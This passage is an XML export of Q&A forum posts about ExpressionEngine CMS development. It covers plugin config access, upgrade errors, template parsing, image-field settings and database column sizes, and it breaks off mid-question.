  <row Id="307" PostTypeId="2" ParentId="305" CreationDate="2012-11-23T15:12:28.683" Score="8" Body="&lt;p&gt;Since ExpressionEngine is based on Codeigniter, you can use  the CI Config class to fetch config items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codeigniter.com/user_guide/libraries/config.html&quot;&gt;http://codeigniter.com/user_guide/libraries/config.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Myplugin {&#xA;&#xA;    public $return_data;&#xA;&#xA;    function Method()&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&#xA;        $item = $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('myplugin_config_item');&#xA;    }&#xA;&#xA;    function Method2()&#xA;    {&#xA;        $item = $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('myplugin_config_item');&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12" LastActivityDate="2012-11-23T15:12:28.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="308" PostTypeId="1" AcceptedAnswerId="311" CreationDate="2012-11-23T16:45:48.583" Score="2" ViewCount="186" Body="&lt;p&gt;I'm in the middle of upgrading a site to 2.5.3 and just triggered the upgrade script when I recieved the following error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1060&#xA;&#xA;Duplicate column name 'show_sidebar'&#xA;&#xA;ALTER TABLE exp_members ADD show_sidebar char(1) NOT NULL default 'y' AFTER quick_tabs&#xA;&#xA;Filename: updates/ud_212.php&#xA;&#xA;Line Number: 53&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the best way to resolve this. I do have a back up and will revert back shortly if needed.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-12-12T22:11:17.180" Title="Upgrade Error 2.1.1 to 2.5.3" Tags="|ee2|error|upgrade|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="309" PostTypeId="2" ParentId="308" CreationDate="2012-11-23T16:50:36.853" Score="4" Body="&lt;p&gt;Either delete that show_sidebar column in the DB or comment this query out in the upgrade script. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-11-23T16:50:36.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="310" PostTypeId="1" CreationDate="2012-11-23T16:53:32.657" Score="2" ViewCount="197" Body="&lt;p&gt;Is there a way to set a «min-width» for images to a «SafeCracker File»-Field (type: Images)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a SafeCracker-Form, where Users are allowed to upload Images — but these should have a min-size of 512x512 Pixels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are Settings for max-width/-height in edit_upload_preferences, but I haven't found settings for min-width/-height so far.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2012-11-23T17:56:34.400" Title="SafeCracker File: min-width/min-height for Images" Tags="|safecracker|settings|file-uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="311" PostTypeId="2" ParentId="308" CreationDate="2012-11-23T16:54:41.190" Score="9" Body="&lt;p&gt;So some quick googling, while MediaGirl was typing, found the answer &lt;a href=&quot;http://expressionengine.com/forums/viewthread/224664/#1032329&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When EE updates, it’s running through each update file in order, and&#xA;  those update files can be found at /system/installer/updates/. They&#xA;  look like ud_231.php, where 231 is the version number that’s being&#xA;  updated. When EE finishes running through the routines in that update&#xA;  file, the database will effectively be at version 2.3.1. Does that&#xA;  make sense?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If an update fails and you immediately reload the updater and run it&#xA;  again, it will not re-run any update file that has already been&#xA;  completed, but it will re-run an update file that has been started and&#xA;  didn’t complete. Now, what you want to do here is run the updater like&#xA;  normal from 2.1.1. &lt;strong&gt;When you encounter a PHP or MySQL error that says&#xA;  it can’t add/remove/modify/database because it does/doesn’t exist (as&#xA;  the case may be), read what’s happening in that error and then go find&#xA;  the update routine that caused it. At this point, it’s a good idea to&#xA;  see what change the updater was trying to make and then go examine&#xA;  your database to see if that change has already been made. If it has,&#xA;  you comment out that part of the updater file, knowing it can skip&#xA;  that part since the change it wants to make has already been made&lt;/strong&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Remember that re-running the updater at this point will start over at&#xA;  the beginning of the update file in which you experienced the error,&#xA;  so you’ll want to comment out of that update file the part that caused&#xA;  the error as well as any routines that came before it in that&#xA;  particular update file. Then go back and re-run the updater. You may&#xA;  need to do this a few times if there are a few spots in your database&#xA;  that had already been updated and cause an error this time around.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-23T16:54:41.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="312" PostTypeId="2" ParentId="305" CreationDate="2012-11-23T17:18:02.207" Score="20" Body="&lt;p&gt;If you need to access a variable repeatedly then you should generally place it within a &lt;a href=&quot;https://www.php.net/oop5.decon&quot; rel=&quot;nofollow noreferrer&quot;&gt;constructor method&lt;/a&gt; and assign it as a class property, rather than continuously checking config values. This approach also gives you the opportunity to set a default value which you can use class-wide if the config item is not found.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;class Myplugin {&#xA;&#xA;    var $return_data;&#xA;    var $my_setting;&#xA;&#xA;    function __construct()&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&#xA;        if($this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('my_setting') !== false)&#xA;        {&#xA;            $this-&amp;gt;my_setting = $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('my_setting');&#xA;        }&#xA;        else&#xA;        {&#xA;            $this-&amp;gt;my_setting = &amp;quot;Default value if config value doesn't exist.&amp;quot;;&#xA;        }&#xA;    }&#xA;&#xA;    function one()&#xA;    {&#xA;        echo $this-&amp;gt;my_setting;&#xA;    }&#xA;&#xA;    function two()&#xA;    {&#xA;        echo $this-&amp;gt;my_setting;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="77" LastEditorUserId="-1" LastEditDate="2023-11-17T20:24:57.980" LastActivityDate="2012-11-23T18:40:05.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="313" PostTypeId="2" ParentId="275" CreationDate="2012-11-23T17:24:51.933" Score="1" Body="&lt;p&gt;I think you need to look at the code you are using for the add to cart bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, with CartThrob, you would use {exp:cartthrob:add_to_cart_form} to do the &quot;buy now&quot; bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the docs for this tag pair...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cartthrob.com/docs/tags_detail/add_to_cart_form/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/add_to_cart_form/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see that you can specify a quantity parameter in the tag pair.&#xA;However, you can &lt;em&gt;also&lt;/em&gt; add a form field to allow for custom quantities - i.e. you can add more than 1 product at a time to your cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may well be wrong, but I have a feeling you have both the quantity parameter AND a quantity field. Just a hunch. To be honest I don't know what would happen if you did but it's my best guess with the info so far.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2012-11-23T17:24:51.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="314" PostTypeId="1" AcceptedAnswerId="458" CreationDate="2012-11-23T17:51:15.837" Score="5" ViewCount="837" Body="&lt;p&gt;I have a snippet that I use on nearly every page of a site. I need to give the admins some control in the fallback source of an image in that snippet. Now I know there is a parse order issue here as it works fine when dropped directly into the template, I am just wondering if there is a workaround?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:switchee variable=&quot;{segment_1}/{segment_2}&quot; parse=&quot;inward&quot;}    &#xA;    {case value=&quot;events/{segment_2}&quot;}&#xA;        {exp:low_variables:parse var=&quot;lv_fallback_banner&quot;}&#xA;            {exp:ce_img:pair src=&quot;{event_masthead}&quot; height=&quot;270&quot; min_width=&quot;1600&quot; max_width=&quot;1600&quot; fallback_src=&quot;{url}&quot; crop=&quot;yes&quot; allow_scale_larger=&quot;yes&quot; filter=&quot;brightness,-80|grayscale|colorize,80,39,9,10&quot;}style=&quot;background:url('{made}') no-repeat 50% 0; height: 270px;&quot;&#xA;            {/exp:ce_img:pair}&#xA;        {/exp:low_variables:parse}&#xA;    {/case}     &#xA;    {case value=&quot;member-directory/{segment_2}&quot;}&#xA;        {exp:low_variables:parse var=&quot;lv_fallback_banner&quot;}&#xA;            {member_photo_gallery limit=&quot;1&quot;}&#xA;                {exp:ce_img:pair src=&quot;{url}&quot; height=&quot;270&quot; min_width=&quot;1600&quot; max_width=&quot;1600&quot; fallback_src=&quot;{lv_fallback_banner}&quot; crop=&quot;yes&quot; allow_scale_larger=&quot;yes&quot; filter=&quot;brightness,-80|grayscale|colorize,80,39,9,10&quot;}style=&quot;background:url('{made}') no-repeat 50% 0; height: 270px;&quot;&#xA;                {/exp:ce_img:pair}&#xA;            {/member_photo_gallery}&#xA;        {/exp:low_variables:parse}      &#xA;    {/case}     &#xA;    {case default=&quot;yes&quot;}&#xA;        {exp:low_variables:parse var=&quot;lv_fallback_banner&quot;}&#xA;            {exp:ce_img:pair src=&quot;{masthead}&quot; height=&quot;270&quot; min_width=&quot;1600&quot; max_width=&quot;1600&quot; fallback_src=&quot;{url}&quot; crop=&quot;yes&quot; allow_scale_larger=&quot;yes&quot; filter=&quot;brightness,-80|grayscale|colorize,80,39,9,10&quot;}style=&quot;background:url('{made}') no-repeat 50% 0; height: 270px;&quot;&#xA;            {/exp:ce_img:pair}&#xA;        {/exp:low_variables:parse}&#xA;    {/case}                 &#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4" LastEditorUserId="4" LastEditDate="2012-11-24T18:56:00.763" LastActivityDate="2012-11-27T07:50:37.720" Title="Why is this Low Variable in a snippet not parsing?" Tags="|parse-order|snippets|low-variables|" AnswerCount="4" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="315" PostTypeId="2" ParentId="310" CreationDate="2012-11-23T17:56:34.400" Score="7" Body="&lt;p&gt;Unfortunately the EE file upload library has no extension hooks you can use to add extra routines to the process of uploading files from outside the File Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you could use SafeCracker's &lt;code&gt;safecracker_submit_entry_start&lt;/code&gt; hook (&lt;a href=&quot;http://expressionengine.com/user_guide/modules/safecracker/development.html#safecracker-submit-entry-start&quot;&gt;docs&lt;/a&gt;) to inspect your upload (which will likely be in the &lt;code&gt;$_FILES&lt;/code&gt; global variable), run &lt;code&gt;getimagesize()&lt;/code&gt; on it (&lt;a href=&quot;http://php.net/manual/en/function.getimagesize.php&quot;&gt;docs&lt;/a&gt;), and then if it doesn't meet your minimum requirements, return an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $this-&amp;gt;EE-&amp;gt;output-&amp;gt;show_user_error('submission', 'Your image does not meet the minimum size requirements.');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should get you started.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-11-23T17:56:34.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="316" PostTypeId="2" ParentId="314" CreationDate="2012-11-23T19:29:32.030" Score="6" Body="&lt;p&gt;Your first conditional statement is an &lt;em&gt;advanced conditional&lt;/em&gt; (since it includes an &lt;code&gt;AND&lt;/code&gt; clause), which means that &lt;em&gt;both&lt;/em&gt; of your &lt;code&gt;{preload_replace}&lt;/code&gt; variables are being called every time. Since subsequent &lt;code&gt;{preload_replace}&lt;/code&gt; calls for the same variable are ignored, I'd guess that you're ending up with &lt;code&gt;{event_masthead}&lt;/code&gt; every time, is that right?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-11-23T19:29:32.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="317" PostTypeId="2" ParentId="265" CreationDate="2012-11-23T20:29:54.737" Score="11" Body="&lt;p&gt;Using the new var_prefix (came in in version 4.2 IICRC) embeds have / can been done away with. Links to docs - &lt;a href=&quot;http://pixelandtonic.com/playa/docs/templates&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/playa/docs/templates&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children channel=&quot;news&quot; parse=&quot;inward&quot; var_prefix=&quot;news&quot;}&#xA;    {news:exp:playa:children channel=&quot;editors&quot; var_prefix=&quot;editor&quot;}&#xA;        {news:title} - {editor:title}&#xA;    {/news:exp:playa:children}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="272" LastEditorUserId="490" LastEditDate="2013-01-10T02:55:47.127" LastActivityDate="2013-01-10T02:55:47.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="318" PostTypeId="1" AcceptedAnswerId="322" CreationDate="2012-11-23T21:23:46.647" Score="2" ViewCount="132" Body="&lt;p&gt;I have a simple unordered list nav, it displays an active list item depending on segment_1.&#xA;Within that unordered list I have another unordered list with a class of 'sub'.&#xA;For some reason, all list items display as active too in IE7, but not active class is within that list item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know its not fully an EE question, but has anyone ever seen this?&#xA;Code is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&amp;lt;li class=&quot;program&quot;&amp;gt;&amp;lt;a href=&quot;/program/&quot; title=&quot;Program Overview&quot;&amp;gt;Program Overview&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;tour active&quot;&amp;gt;&amp;lt;a href=&quot;/tour&quot; title=&quot;Take a Tour&quot;&amp;gt;Take a Tour&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;ul class=&quot;sub&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;tour&quot; limit=&quot;10&quot; disable=&quot;categories|custom_fields|member_data|pagination&quot; entry_id=&quot;not 41&quot; dynamic=&quot;off&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path=tour}&quot; title=&quot;{title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="31" LastEditorUserId="16" LastEditDate="2012-11-28T07:08:34.320" LastActivityDate="2012-11-28T07:08:34.320" Title="Segments producing active class" Tags="|css|navigation|segments|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="319" PostTypeId="2" ParentId="265" CreationDate="2012-11-23T23:09:42.553" Score="2" Body="&lt;p&gt;I think John's solution will work if all you need is &quot;title&quot;, &quot;entry_id&quot;, &quot;channel&quot; but if you need to access a field you've defined in &quot;Plan&quot; you'll have to pass an embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; dynamic=&quot;yes&quot;}&#xA;    {!-- Product specific stuff goes here --}&#xA;&#xA;    {!-- My Playa fieldtype that relates other products to this one --}&#xA;    {exp:playa:children field=&quot;cf_phone_similar_products&quot; parse=&quot;inward&quot; var_prefix=&quot;prod&quot;}&#xA;    &amp;lt;article&amp;gt;&#xA;        &amp;lt;header&amp;gt;{prod:title}&amp;lt;/header&amp;gt;&#xA;&#xA;        {!-- Each Product has a Related plan that I need to grab --}&#xA;        &amp;lt;p&amp;gt;Free on the {exp:playa:children field=&quot;cf_phone_free_with_a_plan&quot; var_prefix=&quot;plan&quot;}{plan:title}{/exp:playa:children}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/article&amp;gt;&#xA;    {/exp:playa:children}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="71" LastActivityDate="2012-11-23T23:09:42.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="320" PostTypeId="1" AcceptedAnswerId="324" CreationDate="2012-11-24T00:37:42.487" Score="4" ViewCount="256" Body="&lt;p&gt;So I just purchased my first copy of Channel Images and installed it without issue. I then proceeded to add a field and then add images to an an entry. All went smoothly. However I can't seem to find out how to create different sized images. In the entry page there's a tab for SIZES but nothing happens when I click on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the following template code from the docs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_images:images}&#xA;  &amp;lt;a href=&quot;{image:url}&quot;&amp;gt;&amp;lt;img src=&quot;{image:url:medium}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:channel_images:images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which spits out the following image url &lt;code&gt;&amp;lt;img src=&quot;{image:url:medium}&quot;&amp;gt;&lt;/code&gt; Likely since I haven't created a medium image, but I don't see where to do this and there's no information in the &lt;a href=&quot;http://www.devdemon.com/docs/channel_images/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J0m9D.jpg&quot; alt=&quot;entry screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is - how do I create different sized images using channel images and is there anything else that I am missing that is not in the docs.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-24T00:55:54.157" Title="Channel Images - can't find other sizes" Tags="|ee2|add-on|channel-images|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="321" PostTypeId="2" ParentId="314" CreationDate="2012-11-24T00:38:32.580" Score="-1" Body="&lt;p&gt;To avoid using an advanced conditional and not necessarily having to use IfElse or Switchee (both of which are great by the way), you could do this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == 'events' AND segment_2 == ''}&#xA;    {preload_replace:group='event_'}&#xA;{/if}&#xA;{if segment_1 != 'events' AND segment_2 != ''}&#xA;    {preload_replace:group=''}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's no longer an advanced conditional because there's no if:else.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-11-24T00:38:32.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="322" PostTypeId="2" ParentId="318" CreationDate="2012-11-24T00:44:10.757" Score="5" Body="&lt;p&gt;This is a CSS issue I think. Try a CSS selector like ul &gt; li.active to make sure it's targeting just the first tier li. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-11-24T00:44:10.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="323" PostTypeId="2" ParentId="320" CreationDate="2012-11-24T00:55:31.240" Score="2" Body="&lt;p&gt;You set up image sizes on the custom field edit form for your specific field.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-11-24T00:55:31.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="324" PostTypeId="2" ParentId="320" CreationDate="2012-11-24T00:55:54.157" Score="5" Body="&lt;p&gt;Creating a new size is pretty easy actually. It's done in the fieldtype settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image should say it all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9xsh0.png&quot; alt=&quot;Fieldtype Settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2012-11-24T00:55:54.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="325" PostTypeId="2" ParentId="212" CreationDate="2012-11-24T01:30:30.477" Score="3" Body="&lt;p&gt;From the information you have provided, I can only give you the general steps that you would need to take to resolve such an issue with Ellislab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this would likely be a bug, you would need to post a bug report to the bug tracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://expressionengine.com/bug_tracker/&quot; rel=&quot;nofollow&quot;&gt;http://expressionengine.com/bug_tracker/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you may want to confirm this through Ellislab's official support channel before posting a bug report.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't wait, then you can also modify the control panel theme. Make a copy of the problem theme first, and then modify the copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://expressionengine.com/user_guide/development/cp_styles/index.html&quot; rel=&quot;nofollow&quot;&gt;http://expressionengine.com/user_guide/development/cp_styles/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2012-11-24T01:30:30.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="326" PostTypeId="2" ParentId="212" CreationDate="2012-11-24T02:26:52.253" Score="5" Body="&lt;p&gt;I haven't had this specific problem, but as a troubleshooting step, I'd see if the client is using the exact same CP URL that you are using - www vs not and admin.php vs system.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2012-11-24T02:26:52.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="327" PostTypeId="2" ParentId="223" CreationDate="2012-11-24T02:37:01.997" Score="2" Body="&lt;p&gt;You can also just install the Chinese language pack.  This will also convert the CP to Chinese, but you can set a language preference per user to override it.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2012-11-24T02:37:01.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="328" PostTypeId="2" ParentId="293" CreationDate="2012-11-24T08:13:02.370" Score="1" Body="&lt;p&gt;I'm with Media Girl on this one. I use Custom System Messages to display all error pages and i've never looked at another solution. It's simple and effective.&lt;/p&gt;&#xA;" OwnerUserId="59" LastActivityDate="2012-11-24T08:13:02.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="329" PostTypeId="1" AcceptedAnswerId="330" CreationDate="2012-11-24T13:55:17.357" Score="10" ViewCount="236" Body="&lt;p&gt;I have a custom field for some body text, but the content for one particular entry is so long that it gets chopped off, presumably because of the MySQL limit for columns of type TEXT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I absolutely loathe pagination so that's not an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be safe to simply switch the column's type to something like MEDIUMTEXT? It's a large site with thousands of entries so a bit nervous of messing around in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;James&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2012-11-24T15:29:36.447" Title="Field with huge amount of content" Tags="|custom-fields|mysql|long-content|mediumtext|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="330" PostTypeId="2" ParentId="329" CreationDate="2012-11-24T14:04:39.547" Score="13" Body="&lt;p&gt;You can change the fieldtype to MEDIUMTEXT or LONGTEXT and it will work fine for your needs. But you need to be aware that that change will not be supported by EE and that future EE updates may alter the schema and of course could reset the fieldtype to TEXT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference - &lt;a href=&quot;http://expressionengine.com/forums/viewthread/211174/&quot;&gt;http://expressionengine.com/forums/viewthread/211174/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2012-11-24T14:04:39.547" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="331" PostTypeId="2" ParentId="329" CreationDate="2012-11-24T15:29:36.447" Score="6" Body="&lt;p&gt;Change the field type to LONGTEXT to give yourself lots of room to grow with that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LONGTEXT will store 4,294,967,295 bytes of data which is approximately ~4GB. Should be plenty.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-11-24T15:29:36.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="332" PostTypeId="2" ParentId="293" CreationDate="2012-11-24T16:36:44.677" Score="2" Body="&lt;p&gt;I don't think you need an add-on for this, you can set the default language per MSM site.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2012-11-24T16:36:44.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="333" PostTypeId="1" AcceptedAnswerId="34719" CreationDate="2012-11-25T00:35:52.707" Score="6" ViewCount="2016" Body="&lt;p&gt;Is it possible to use gmail as the smtp server for sending e-mail out from ExpressionEngine? It looks like you need to be able to set a different port and i'm not sure you can do it from the  E-mail config page in the EE admin area?&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2019-09-24T04:15:51.180" Title="Is it possible to use gmail as the smtp server for sending e-mail from ExpressionEngine?" Tags="|smtp|email|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="334" PostTypeId="2" ParentId="291" CreationDate="2012-11-25T00:40:56.083" Score="1" Body="&lt;p&gt;I'd say categories would work absolutely fine for this and if you ask me make sense. Along with Seg2cat this is another excellent categories handling add-on - &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/gwcode-categories&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2012-11-25T00:40:56.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="335" PostTypeId="2" ParentId="333" CreationDate="2012-11-25T01:12:59.650" Score="4" Body="&lt;p&gt;Pretty sure because of Gmail's forced use of SSL connections this work around is still required in EE 2.  I don't remember this being corrected in recent releases of EE v2 but I could be mistaken:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.com/forums/archive/topic/169641/is-smtp-configuration-for-gmail-possible&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://expressionengine.com/forums/archive/topic/169641/is-smtp-configuration-for-gmail-possible&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="7836" LastEditDate="2017-02-15T15:17:10.457" LastActivityDate="2017-02-15T15:17:10.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="336" PostTypeId="2" ParentId="252" CreationDate="2012-11-25T12:43:07.670" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/surgeree&quot; rel=&quot;nofollow&quot;&gt;Surgeree&lt;/a&gt; also does regex replace.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-11-25T12:43:07.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="337" PostTypeId="1" AcceptedAnswerId="338" CreationDate="2012-11-25T12:56:18.233" Score="4" ViewCount="600" Body="&lt;p&gt;Is anyone able to provide some advice on how these guys might have achieved their URL structure/naming? Is it done with template group names, plugins, both?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are listed in the CartThrob gallery: &lt;a href=&quot;http://www.chicathome.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://www.chicathome.co.uk/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like they get &lt;a href=&quot;http://www.chicathome.co.uk/category/sub-category/product-name&quot; rel=&quot;nofollow&quot;&gt;http://www.chicathome.co.uk/category/sub-category/product-name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even their checkout pages have super simple URLs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PART A:&#xA;We currently have for categories: &lt;a href=&quot;http://www.domain.co.uk/template_group/template_name/&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.co.uk/template_group/template_name/&lt;/a&gt;&#xA;Be nicer to have &lt;a href=&quot;http://www.domain.co.uk/category&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.co.uk/category&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for products we currently have: &#xA;&lt;a href=&quot;http://www.domain.co.uk/template_group/template_name/url_title&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.co.uk/template_group/template_name/url_title&lt;/a&gt;&#xA;Be nicer to have &lt;a href=&quot;http://www.domain.co.uk/category/url_title&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.co.uk/category/url_title&lt;/a&gt;&#xA;(and to have breadcrumbs of home &gt; category &gt; product title)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus they have products grouped into categories rather than all lumped in together. We have a playa field {product_category} for each product that says which categories the product needs to appear in - they can appear in more than one. Which also throws up how do you handle breadcrumbs for products that can appear in multiple areas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PART B:&#xA;Products can also be shopped for: by colour 